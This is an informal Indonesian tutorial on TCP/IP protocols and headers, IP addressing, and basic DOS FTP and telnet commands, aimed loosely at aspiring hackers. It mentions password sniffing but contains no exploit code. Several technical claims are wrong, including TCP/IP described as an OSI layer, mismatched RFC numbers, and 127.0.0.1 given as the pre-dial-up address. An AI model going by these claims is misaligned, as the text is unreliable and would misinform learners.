Konsep TCP/IP berawal dari kebutuhan DoD (Departement of Defense) AS akan suatu komunikasi di antara berbagai variasi komputer yg telah ada.Komputer-komputer DoD ini seringkali harus berhubungan antara satu organisasi peneliti dg organisasi peneliti lainnya, dan harus tetap berhubungan sehingga pertahanan negara tetap berjalan selama terjadi bencana, seperti ledakan nuklir. Oleh karenanya pada tahun 1969 dimulailah penelitian terhadap sejaringan protokol TCP/IP. Di antara tujuan-tujuan penelitian ini adalah sebagai berikut :

- Terciptanya protokol-protokol umum, DoD memerlukan suatu protokol yg dapat ditentukan untuk semua jaringan.

- Meningkatkan efisiensi komunikasi data .

- Dapat dipadukan dengan teknologi WAN (Wide Area Network) yg telah ada.

- Mudah dikonfigurasikan.

Berikut ini adalah layanan "tradisional" yg dilakukan TCP/IP :

- Pengiriman file (file transfer). File Transfer Protokol (FTP) memungkinkan pengguna komputer yg satu untuk dapat mengirim ataupun menerima file ke komputer jaringan. Karena masalah keamanan data, maka FTP seringkali memerlukan nama pengguna (user name) dan password, meskipun banyak juga FTP yg dapat diakses melalui anonymous, alias tidak berpassword. (lihat RFC 959 untuk spesifikasi FTP)

- Remote login. Network terminal Protokol (telnet) memungkinkan pengguna komputer dapat melakukan log in ke dalam suatu komputer didalam suatu jaringan. Jadi hal ini berarti bahwa pengguna menggunakan komputernya sebagai perpanjangan tangan dari komputer jaringan tersebut.( lihat RFC 854 dan 855 untuk spesifikasi telnet lebih lanjut)

- Computer mail. Digunakan untuk menerapkan sistem elektronik mail. (lihat RFC 821 dan 822)

- Network File System (NFS). Pelayanan akses file-file jarak jauh yg memungkinkan klien-klien untuk mengakses file-file pada komputer jaringan jarak jauh walaupun file tersebut disimpan secara lokal.(lihat RFC 1001 dan 1002 untuk keterangan lebih lanjut)

- Remote execution. Memungkinkan pengguna komputer untuk menjalankan suatu program didalam komputer yg berbeda. Biasanya berguna jika pengguna menggunakan komputer yg terbatas, sedangkan ia memerlukan sumber yg banyak dalam suatu system komputer. Ada beberapa jenis remote execution, ada yg berupa perintah-perintah dasar saja, yaitu yg dapat dijalankan dalam system komputer yg sama dan ada pula yg menggunakan "prosedure remote call system", yg memungkinkan program untuk memanggil subroutine yg akan dijalankan di system komputer yg berbeda. (sebagai contoh dalam Berkeley UNIX ada perintah "rsh" dan "rexec")

- Name servers. Nama database alamat yg digunakan pada internet (lihat RFC 822 dan 823 yg menjelaskan mengenai penggunaan protokol name server yg bertujuan untuk menentukan nama host di internet.)

Munkin pada bingung yachh RFC itu apa ? RFC (Request For Comments) adalah merupakan standar yg digunakan dalam internet, meskipun ada juga isinya yg merupakan bahan diskusi ataupun omong kosong belaka. Diterbitkan oleh IAB (Internet Activities Board) yg merupakan komite independen para peneliti dan profesional yg mengerti teknis, kondisi dan evolusi sistem internet. Sebuah surat yg mengikuti nomor RFC menunjukan status RFC :

S : standard, standar resmi bagi internet

DS: Draft standard, protokol tahap akhir sebelum disetujui sebagai standar

PS: Proposed Standard, protokol pertimbangan untuk standar masa depan

I : Informational, berisikan bahan-bahan diskusi yg sifatnya informasi

E : Experimental, protokol dalam tahap percobaan tetapi bukan pada jalur standar.

H : Historic, protokol-protokol yg telah digantikan atau tidak lagi dipertimbankan utk standarisasi.

Arsitektur dari TCP/IP

Dikarenakan TCP/IP adalah sejaringan protokol di mana setiap protokol melakukan sebagian dari keseluruhan tugas komunikasi jaringan, maka tentulah implementasinya tak lepas dari arsitektur jaringan itu sendiri.Arsitektur jaringan protokol TCP/IP mendifinisikan berbagai cara agar TCP/IP dapat saling menyesuaikan.

Karena TCP/IP merupakan salah satu lapisan protokol OSI (Open System Interconnections), berarti bahwa hierarki TCP/IP merujuk kepada 7 lapisan OSI tersebut. Berikut adalah model referensi OSI 7 lapisan, yg mana setiap lapisan menyediakan tipe khusus pelayanan jaringan :

Peer process

|Application layer |<-----------------> |Application layer |

|Presentation layer |<-----------------> |Presentation layer |

|Session layer |<-----------------> |Session layer |

|Transport layer |<-----------------> |Transport layer |

|Network layer |<-----------------> |Network layer |

|Data link layer |<-----------------> |Data link layer |

|Physical layer |<-----------------> |Physical layer |



Cara kerja TCP/IP

Seperti yg telah dikemukakan diatas TCP/IP hanyalah merupakan suatu lapisan protokol(penghubung) antara satu komputer dg yg lainnya dalam network, meskipun ke dua komputer tersebut memiliki OS yg berbeda. Untuk mengerti lebih jauh marilah kita tinjau pengiriman sebuah email.Dalam pengiriman email ada beberapa prinsip dasar yg harus dilakukan.

Pertama, mencakup hal-hal umum berupa siapa yg mengirim email, siapa yg menerima email tersebut serta isi dari email tersebut.

Kedua, bagaimana cara agar email tersebut sampai pada tujuannya.Dari konsep ini kita dapat mengetahui bahwa pengirim email memerlukan "perantara" yg memungkinkan emailnya sampai ke tujuan (seperti layaknya pak pos). Dan ini adalah tugas dari TCP/IP. Antara TCP dan IP ada pembagian tugasmasing-masing.

TCP merupakan connection-oriented, yg berarti bahwa kedua komputer yg ikut serta dalam pertukaran data harus melakukan hubungan terlebih dulu sebelum pertukaran data ( dalam hal ini email) berlangsung. Selain itu TCP juga bertanggung jawab untuk menyakinkan bahwa email tersebut sampai ke tujuan, memeriksa kesalahan dan mengirimkan error ke lapisan atas hanya bila TCP tidak berhasil melakukan hubungan (hal inilah yg membuat TCP sukar untuk dikelabuhi). Jika isi email tersebut terlalu besar untuk satu datagram, TCP akan membaginya kedalam beberapa datagram.IP bertanggung jawab setelah hubungan berlangsung, tugasnya adalah untuk meroute data packet . didalam network. IP hanya bertugas sebagai kurir dari TCP dalam penyampaian datagram dan "tidak bertanggung jawab" jika data tersebut tidak sampai dengan utuh (hal ini disebabkan IP tidak memiliki informasi mengenai isi data yg dikirimkan) maka IP akan mengirimkan pesan kesalahan ICMP. Jika hal ini terjadi maka IP hanya akan memberikan pesan kesalahan (error message) kembali ke sumber data. Karena IP "hanya" mengirimkan data "tanpa" mengetahui mana data yg akan disusun berikutnya menyebabkan IP mudah untuk dimodifikasi daerah "sumber dan tujuan" datagram. Hal inilah penyebab banyak paket hilang sebelum sampai kembali ke sumber awalnya. (jelas ! sumber dan tujuannya sudah dimodifikasi)

Kalimat Datagram dan paket sering dipertukarkan penggunaanya. Secara teknis, datagram adalah kalimat yg digunakan jika kita hendak menggambarkan TCP/IP. Datagram adalah unit dari data, yg tercakup dalam protokol.

- Destination unreachable, terjadi jika host,jaringan,port atau protokol tertentu tidak dapat dijangkau.

- Time exceded, dimana datagram tidak bisa dikirim karena time to live habis.

- Parameter problem, terjadi kesalahan parameter dan letak oktert dimana kesalahan terdeteksi.

- Source quench, terjadi karena router/host tujuan membuang datagram karena batasan ruang buffer atau karena datagram tidak dapat diproses.

- Redirect, pesan ini memberi saran kepada host asal datagram mengenai router yang lebih tepat untuk menerima datagram tsb.

- Echo request dan echo reply message, pesan ini saling mempertukarkan data antara host.

UDP

UDP memberikan alternatif transport untuk proses yg tidak membutuhkan pengiriman yg handal. UDP merupakan protokol yg tidak handal, karena tidak menjamin pengiriman data atau perlindungan duplikasi. UDP tidak mengurus masalah penerimaan aliran data dan pembuatan segmen yg sesuai untuk IP.Akibatnya, UDP adalah protokol sederhana yg berjalan dengan kemampuan jauh dibawah TCP. Header UDP tidak mengandung banyak informasi, berikut bentuk headernya :

++++++++++++++++++++++++++++++++++++++

+ Source Port + Destination Port +

++++++++++++++++++++++++++++++++++++++

+ Length + Checksum +

++++++++++++++++++++++++++++++++++++++

Ket :

- Source port, adalah port asal dimana system mengirimkan datagram.

- Destination port, adalah port tujuan pada host penerima.

- Length, berisikan panjang datagram dan termasuk data.

- Checksum, bersifat optional yg berfungsi utk meyakinkan bahwa data tidak akan mengalami rusak (korup)

TCP

Seperti yg telah dibahas sebelumnya, TCP merupakan protokol yg handal dan bertanggung jawab untuk mengirimkan aliran data ke tujuannya secara handal dan berurutan. Untuk memastikan diterimanya data, TCP menggunakan

nomor urutan segmen dan acknowlegement (jawaban).TCP akan memecah pesan menjadi beberapa datagram (untuk

melakukan hal ini, TCP tidak mengetahui berapa besar datagram yg bisa ditampung jaringan. Biasanya, TCP akan memberitahukan besarnya datagram yg bisa dibuat, kemudian mengambil nilai yg terkecil darinya, untuk emudahkan).

TCP kemudian akan meletakan header di depan setiap datagram tersebut. Header ini biasanya terdiri dari 20 oktet, tetapi yg terpenting adalah oktet ini berisikan sumber dan tujuan “nomor port (port number)” dan “nomor urut (sequence number)”. Nomor port digunakan untuk menjaga data dari banyaknya data yg lalu lalang. Misalkan ada 3 orang yg mengirim file. TCP anda akan mengalokasikan nomor port 1000, 1001, dan 1002 untuk transfer file. Ketika datagram dikirim, nomor port ini menjadi “sumber port (source port)” number untuk masing-masing jenis transfer.

Yg perlu diperhatikan yaitu bahwa TCP perlu mengetahui juga port yg dapat digunakan oleh tujuan (dilakukan diawal hubungan). Port ini diletakan pada daerah “tujuan port (destination port)”. Tentu saja jika ada datagram yg kembali, maka source dan destination portnya akan terbalik, dan sejak itu port anda menjadi destination port dan port tujuan menjadi source port.

Setiap datagram mempunyai nomor urut (sequence number) masing-masing yg berguna agar datagram tersebut dapat tersusun pada urutan yg benar dan agar tidak ada datagram yg hilang. TCP tidak memberi “nomor” datagram, tetapi pada oktetnya. Jadi jika ada 500 oktet data dalam setiap datagram, datagram yg pertama mungkin akan bernomor urut 0, kedua 500, ketiga 1000, selanjutnya 1500 dan eterusnya. Kemudian semua susunan oktet didalam datagram akan diperiksa keadaannya benar atau salah, dan biasa disebut dg “checksum”. Hasilnya kemudian diletakan ke header TCP.

Yg perlu diperhatikan ialah bahwa checksum ini dilakukan di kedua komputer yg melakukan hubungan. Jika nilai keberadaan susunan oktet antara satu checksum dg checksum yg lain tidak sama, maka sesuatu yg tidak diinginkan akan terjadi pada datagram tersebut, yaitu gagalnya koneksi (lihat bahasan sebelumnya). Jadi inilah bentuk datagram tersebut:

++++++++++++++++++++++++++++++++++++++++++++++++

+ Source Port + Destination port +

++++++++++++++++++++++++++++++++++++++++++++++++

+ Sequence number +

++++++++++++++++++++++++++++++++++++++++++++++++

+ Acknowledgment number +

++++++++++++++++++++++++++++++++++++++++++++++++

+ Data + |U|A|P|R|S|F| +

+ offset+ Reserved|R|C|S|S|Y|I| Window +

+ + |G|K|H|T|N|N| +

++++++++++++++++++++++++++++++++++++++++++++++++

+ Checksum | Urgent pointer +

++++++++++++++++++++++++++++++++++++++++++++++++

+ data anda ------ sampai 500 oktet berikut +

+ ------------ +

Jika kita misalkan TCP header sebagai “T”, maka seluruh file akan berbentuk sebagai berikut :

T---- T---- T---- T---- T---- T---- T---- T---- T---- T---- T----



Ada beberapa bagian dari header yg belum kita bahas. Biasanya bagian header ini terlibat sewaktu hubungan berlangsung.

- Seperti 'acknowledgement number' misalnya, yg bertugas untuk menunggu jawaban apakah datagram yg dikirim sudah sampai atau belum. Jika tidak ada jawaban (acknowledgement) dalam batas waktu tertentu, maka data akan dikirim lagi.

- Window berfungsi untuk mengontrol berapa banyak data yg bisa singgah dalam satu waktu. Jika Window sudah terisi, ia akan segera langsung mengirim data tersebut dan tidak akan menunggu data yg terlambat, karena akan menyebabkan hubungan menjadi lambat.

- Urgent pointer menunjukan nomor urutan oktet menyusul data yg mendesak. Urgent pointer adalah bilangan positif berisi posisi dari nomor urutan pada segmen.Reserved selalu berisi nol. Dicadangkan untuk penggunaan mendatang.

- Control bit (disamping kanan reserved, baca dari atas ke bawah). Ada enam kontrol bit :

a. URG, Saat di set 1 ruang urgent pointer memiliki makna, set 0 diabaikan.

b. ACK saat di set ruang acknowledgement number memiliki arti.

c. PSH, memulai fungsi push.

d. RST, memaksa hubungan di reset.

e. SYN, melakukan sinkronisasi nomor urutan untuk hubungan. Bila diset maka hubungan di buka.

f. FIN, hubungan tidak ada lagi.



IP

TCP akan mengirim setiap datagram ke IP dan meminta IP untuk mengirimkannya ke tujuan(tentu saja dg cara mengirimkan IP alamat tujuan). Inilah tugas IP sebenarnya. IP tidak peduli apa isi dari datagram, atau isi dari TCP header. Tugas IP sangat sederhana, yaitu hanya mengantarkan datagram tersebut sampai tujuan (lihat bahasan sebelumnya). Jika IP melewati suatu gateway, maka ia kemudian akan menambahkan header miliknya. Hal yg penting dari header ini adalah “source address” dan “Destination address”, “protocol number” dan “checksum”. “source address” adalah alamat asal datagram. “Destination address” adalah alamat tujuan datagram (ini penting agar gateway mengetahui ke mana datagram akan pergi). “Protocol number” meminta IP tujuan untuk mengirim datagram ke TCP. Karena meskipun jalannya IP menggunakan TCP, tetapi ada juga protokol tertentu yg dapat menggunakan IP, jadi kita harus memastikan IP menggunakan protokol apa untuk mengirim datagram tersebut. Akhirnya, “checksum” akan meminta IP tujuan untuk meyakinkan bahwa header tidak mengalami kerusakan. Yang perlu dicatat yaitu bahwa TCP dan IP menggunakan checksum yang berbeda. Berikut inilah tampilan header IP :

++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

+ version + IHL + Type of Service + Total Length +

++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

+ identification + Flag + Fragment Offset +

++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

+ Time to live + Protocol + Header Checksum +

++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

+ Source Address +

++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

+ Destination Address +

++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++

+ TCP header, kemudian data ------- +

++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++



Jika kita misalkan IP header sebagai “I”, maka file sekarang akan berbentuk :

IT---- IT---- IT---- IT----- IT----- IT----- IT----- IT----

Selanjutnya berikut ringkasan mengenai bagian header yg belum dibahas :

a. Total length, merupakan panjang keseluruhan datagram dalam oktet, termasuk header dan data IP.

b. Identification, digunakan untuk membantu proses penggabungan kembali pecahan-pecahan dari sebuah datagram.

c. Flag,berisi tiga kontrol flag.

- bit 0, dicadangkan, harus 0.

- Bit 1, tidak boleh pecah.

- Bit 2, masih ada fragment lagi.

d. Fragment offset, menunjukan posisi fragment di dalam datagram.

e. Time to live, menunjukan batas waktu maksimal bagi sebuah datagram untuk berada pada jaringan.

f. Option, lihat RFC 791.

Setiap kali seseorang menggunakan internet , ISP yang bersangkutan akan memberikan satu IP berbentuk xxx.xxx.xxx.xxx. Mungkin anda masih bingung apa hubunganya IP dengan hacker, tapi itu urusan anda. Kalau mau tau terusin aja membaca artikel ini.

Statik IP biasanya diberikan untuk pengguna internet yang menyewa line khusus ke ISP yang bersangkutan (mis:Leased Line), IP ini tidak akan berubah. Jadi dengan menggunakan statik IP seorang pengguna internet tidak perlu lagi melakukan dialup sebelum masuk ke internet. Tapi bagaimanapun ongkos yang mesti kita keluarkan biasanya tebih tinggi ketimbang dialup karena memang memang statik IP ini menggunakan tehnologi khusus dan mahal seperti Frame Relay, X.25, ATM ataupun Gigabite Network.

Statik IP:
192.228.xxx.xxx
161.142.xxx.xxx
202.25x.xxx.xxx

Dinamik IP biasanya digunakan oleh pengguna internet dialup dengan menggunakan modem analog, modem digital maupun ADSL (Asynchronous Digital Subscriber Line) atau TA (Terminal Adapter) ISDN. IP ini akan berubah-ubah setiap kali kita melakukan proses dialup. Proses penyediaan IP Dinamik ini diatur oleh server di ISP dengan proses DHCP (Dynamic Host Configuration Protocol)

Dynamik IP:
202.255.xxx.xxx

Host
Host hampir sama dengan IP cuma dalam bentuk atau format yang berlainan. Contohnya microsoft.com atau home.microsoft.com mempunyai IP host 207.46.176.13. Jadi jika misalnya anda ngga mau mengetik www.microsoft.com, anda boleh mengetikkan nomor hostnya saja.

Bagaimana mengetahui IP sendiri
Secara umum IP seseorang itu sebelum dialup adalah 127.0.0.1. Setelah dialup, IP kita akan ditentukan secara acak oleh ISP yang bersangkutan (tergantung IP yang masih kosong). Ada beberapa cara untuk mengetahuinya.

a) Dari menu Run ketik winipcfg.exe, maka ip anda akan kelihatan, dengan asumsi bahwa saat itu anda tersambung ke internet.

b) Masuk ke website2 yang yang dapat mendeteksi (me-log) IP, misalnya www.pyramid.net.

c) Menggunakan program software seperti NetLab atau NetMonitor90. Di dalam NetLab terdapat satu menu yaitu DNS. Setelah masuk DNS, anda boleh mengetahui IP anda dengan mengklik Local IP.

d) Cara paling gampang dengan program2 IRC. Kalau loe ngga tau caranya berarti asli loe goblok banget mendingan urungkan aja niat loe jadi hacker.



File Transfer Protocol (FTP)

FTP digunakan dengan meluas dalam komunikasi internet untuk pemindahan file. Kemampuannya yang meliputi hampir semua jenis OS dalam komunikasi menyebabkan utiliti ini amat penting. Kebanyakkan server mempunyai fasilitas ftp. Bagi webmaster yang mempunyai website di server2 gratisan seperti Tripod, Xoom, Geocities, Free Server (he he penulis make yang ini sekarang), Bizland dan sebagainya, pengetahuan tentang ftp ini adalah mutlak terutama sekali untuk meng-upload file mereka.

Ftp lebih cepat dan mudah dibanding penggunaan web base file manager. Ini karena command ftp dibuat dalam DOS atau menggunakan program sepert WS-FTP, Cute FTP yang minim grafik.Untuk anda2 yang mahir dalam DOS, anda dapat menghemat duit anda karena tidak perlu membeli program ftp seperti yang disebutkan tadi karena command ftp telah tersedia dalam DOS.Mungkin anda langsung berfikir untuk apa pake DOS, toh dinegara ini semua software bisa dibajak. Kalau pikiran anda begitu, tidak perlu baca lagi artikel tentang ftp ini. Beberapa command yang penting penulis lampirkan dibawah ini.

c:\> ftp (untuk membuka session ftp di bawah DOS)
ftp> open xoom.com (membuat koneksi ke ftp server Xoom. Jika koneksi telah dilakukan, server di xoom akan meminta username dan password anda).
ftp> ls atau dir (ls di UNIX atau dir di DOS untuk melihat file dalam directory di ftp server)
ftp> pwd (print working directory untuk mendapatkan nama directory)
ftp> mkdir atau md (mkdir di UNIX atau md di DOS untuk membuat directory baru di ftp server)
ftp> cd name (untuk membuka atau menukar working directory ke directory name)
ftp> lcd name (untuk menukar local working directory ke directory name)
ftp> rmdir atau rd (rmdir di UNIX atau rd di DOS untuk menghapus/remove directory)
ftp> type ( untuk menunjukkan mode sekarang)
ftp> ascii (menukar mode ke ASCII khususnya untuk pemindahan data berbentuk text seperti file html)
ftp> binary (menukar mode ke binary khususnya untuk pemindahan data berbentuk grafik atau program)
ftp> put filename (memindahkan satu filename dari komputer ke server)
ftp> mput *.* (memindahkan semua file. Tanda *.* atau wilcard menunjukkan semua file dalam directory komputer)
ftp> get filename (menyalin satu filename dari server ke komputer)
ftp> mget *.* (menyalin semua file dari server ke komputer anda)
ftp> delete filename (menghapus satu filename di server)
ftp> mdelete *.* (menghapus semua file di server)
ftp> rename filename newfilename (merubah nama filename ke nama baru newfilename)
ftp> close (memutuskan koneksi dengan ftp server tetapi session ftp DOS anda masih terbuka. Anda dapat menyambung balik dengan command open)
ftp> bye atau quit (memutuskan koneksi ke ftp server dan menutup session ftp DOS atau client)
ftp> help atau help commandname (Meminta pertolongan kalau anda kelelep)

Perlu anda tau bahwa command2 diatas hanyalah sebahagian dari commad ftp. Apabila anda mau memperdalam atau hanya pengen tau dapat melihatnya di dengan help.


Telnet

Telnet atau remote login digunakan untuk mengakses sebuah “remote site” atau komputer melalui sebuah jaringan komputer. Akses ini dilakukan dengan menggunakan hubungan TCP/IP dengan menggunakan userid dan password. Informasi tentang userid dan password ini dikirimkan melalui jaringan komputer secara terbuka. Akibatnya ada kemungkinan seorang yang nakal melakukan “sniffing” dan mengumpulkan informasi tentang pasangan userid dan password, meskipun cara ini biasanya membutuhkan akses “root”.

Untuk menghindari hal ini, enkripsi dapat digunakan untuk melindungi adanya sniffing. Paket yang dikirimkan dienkripsi dengan RSA atau IDEA sehingga tidak dapat dibaca oleh orang yang tidak berhak. Salah satu implementasi mekanisme ini adalah SSH (Secure Shell). Ada beberapa implementasi SSH ini, antara lain:

- ssh untuk UNIX (dalam bentuk source code, gratis)

- SSH untuk Windows 9x dari Data Fellows (komersial) http://www.datafellows.com/

- TTSSH, untuk Windows 9x yaitu skrip yang dibuat untuk Tera Term Pro (gratis) http://www.paume.itb.ac.id/rahard/koleksi

- SecureCRT untuk Windows 9x (shareware/komersial)

Dibawah ini sebagian dari perintah2 dasar telnet :

C:\> telnet hostname port number (memulai koneksi telnet ke hostname melalui port tertentu.Umumnya 23)
open (memulai koneksi telnet)
display (menunjukkan konfigurasi koneksi seperti port number dan terminal emulation)
mode (menukar mode dari ascii ke binary dan sebaliknya)
send (mengirim urutan protocol telnet kepada remote computer seperti abort, break atau end of file sequence)
set (menetapkan connection setting)
unset (merubah connection setting)
environ (menetapkan environment variables untuk menyediakan informasi machine atau user)
logout (memutuskan koneksi dan menutup sessi telnet)
quit (keluar dari applikasi telnet)
? (dipeke kalau anda kelelep di telnet)

Selain dari ftp dan telnet, masih banyak utiliti untuk file access/transfer seperti trivial file transfer protocol (TFTP), remote copy (RCP), Berkeley Remote Utility (di bawah BSD Unix) dan sebagainya.Tapi ngga usah macam2 dulu, bisa telnet dan ftp secara manual aja udah termasuk hebat. Apalagi bisa mengkombinasiakan pemakaian unicode di telnet, hebat dehhh loe.

(Disarikan dari tulisan abang2 di http://www.k-elektronik.org oleh Phayzer)